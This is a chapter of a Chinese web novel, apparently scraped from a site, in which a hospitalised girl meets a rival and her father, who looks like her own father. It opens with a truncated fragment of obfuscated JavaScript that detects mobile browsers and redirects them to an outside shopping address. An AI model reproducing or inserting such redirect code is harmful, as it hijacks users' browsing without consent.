l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207943|151033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表格拿过来,笑得眉眼弯弯:“哥,不用出去找了。医院正在招临时工呢,时间不长,就一个月,一天两毛五分。” “真的?”赵二蛋喜出望外。 “嗯。”焦离点头:“是罗主任帮的忙。” 赵二蛋十分感动:“罗主任真是个大好人。” “对。”焦离附和道。 罗主任这一举动,简直帮了他们一个大忙了。焦离心中感激,连带着对她的女儿‘小柔’心中一直存在的恶感也瞬间消失得无影无踪。 不过是一个被宠坏的姑娘。 算了算了,不跟她计较了。 “虽然钢铁厂报名成功了,但咱们的学习也不能停,你白天出去工作,晚上回来我继续教你认字,不能落下了。” 赵二蛋刚尝到学习的甜头,哪里会拒绝,直接一口应下。 “好。” 事情往好的方向发展,白天赵二蛋出去干活,焦离在病房专心养病,偶尔打打养生拳,练练呼吸吐纳,争取让自己的身体尽快好起来。 晚上赵二蛋蹲在地上认真写字,她就在一旁翻阅从任大夫那借来的报纸,了解这个年代的时事政策。 期间焦离无意中知道了罗主任的全名——罗秀映。 罗秀映? 焦离心底莫名闪过一丝怪异。不知道为什么,她总觉得这个名字很耳熟,好像在哪里听到过。 就像她当初第一次听到泗水镇和三河村时,也是这样的感觉。 到底在哪里听过呢?! 她敲了敲额头,怎么想都想不起来。 真是奇怪! 这天傍晚,焦离刚从食堂溜达回来,还没走到住院部大楼呢,迎面就看见一个娇小清秀的姑娘正挎着一个中年男人的胳膊缓缓走了过来。 远远的,焦离听到她殷勤讨好的声音:“爸,小心点,我扶着你走。” 这声音?焦离抬眼看过去,果见一张熟悉的娇俏面容。 还真的是她?!那个蛮横不讲理的‘小柔’。 焦离的好心情立马没了一半,晦气! 她刚要移开视线,余光不经意触及到她身边的那个男人的容颜,焦离瞬间如遭雷击,愣在当场,险些失口叫了出来。 爸爸! 眼前的男人大约四十岁的年纪,面容刚毅,气质沉稳凌厉。他低头看了‘小柔’一眼,语带笑意:“爸只是走不快,又不是走不动了,真不用你搀着我。” 焦离目光往下,这才发现他似乎有腿疾,走路一瘸一拐的。虽然脚跛了,但他却没有显露出寻常瘸腿的人行走时肩膀一高一低的姿态,看起来走得极稳。反倒是那个‘小柔’,一小段路走得连蹦带跳的,差点把男人带得身形不稳了。 说是搀扶,其实跟玩闹差不多。 然而那男人却很吃这一套,一点也不介意,素来严肃的脸庞挂着宠溺的笑容,看向‘小柔’的目光中透着温柔的慈爱。 “不嘛,我就要扶!”焦柔撒娇道,察觉到好像有人一直看着自己,她疑惑抬头,就见到一个很是面熟的人。 那个乡下来的土妞?! 焦柔脸色一变,当初在大庭广众之下被打了耳光的难堪和气怒的情绪齐齐涌上心头,她立马拉长脸,冷哼一声。 “怎么了?”焦平安低头问闺女。 “爸,你看那个人。那天就是她打的我!”她一脸愤怒指着前方。 焦平安顺着她的视线看过去,就见一个消瘦单薄的小姑娘正呆呆地盯着他,眼神很奇怪,似乎深藏着某种复杂的情绪。 这么寒冷的天,她只穿着一身单薄的白色病服,外罩一件打满补丁的破旧棉袄。风一吹来,薄薄的裤脚贴着小腿飘飞,勾勒出她瘦骨伶仃的脚腕,显得人愈发骨瘦如柴,苍白脆弱。 是那个小姑娘? 上一次在车里,小姑娘被她哥裹住被子半抱着,焦平安也没见着她长什么样。这一回见着了,他没来由的觉得小姑娘长得很面善,心里升起一丝好感。 “那也是你先打了人家。”焦平安朝小姑娘微微颔首,然后收回目光,他摇了摇头,“这都一个月了,你还没消气呢?不是说好不生气了么?” “本来不生气的,但一见到她我就忍不住嘛。”焦柔嘟着嘴,不满道。 焦平安拍了拍焦柔的手背安抚道:“好了,过去的事情就让它过去吧,别总惦记着了。” 焦柔不情不愿的应了一声,她狠狠瞪了焦离一眼,眼里带着恼怒。 此时焦离已经回过神,立即不甘示弱地瞪回去。 瞪什么瞪?谁怕你啊! 看在罗主任的面上,本来都不想跟你计较了,没想到你还来劲了是吧? 她挑起嘴角目含轻蔑看着那个‘小柔’,眼神毫不掩饰的不屑,一点也不带怕的。 有本事再过来扇她一巴掌啊? 她绝对双倍奉还! 一见到焦离挑衅的眼神,焦柔险些气炸了,她正要上前,就被焦平安拉住了,他低声警告道:“小柔。” 焦离忍不住多看了他一眼,悄然敛去眼底的失落。 只是长得像而已,他不是爸爸。 不过焦离怎么也没想到,眼前这个‘小柔’的爸妈和自己爸妈居然长得那么像,世上真有这么巧的事么?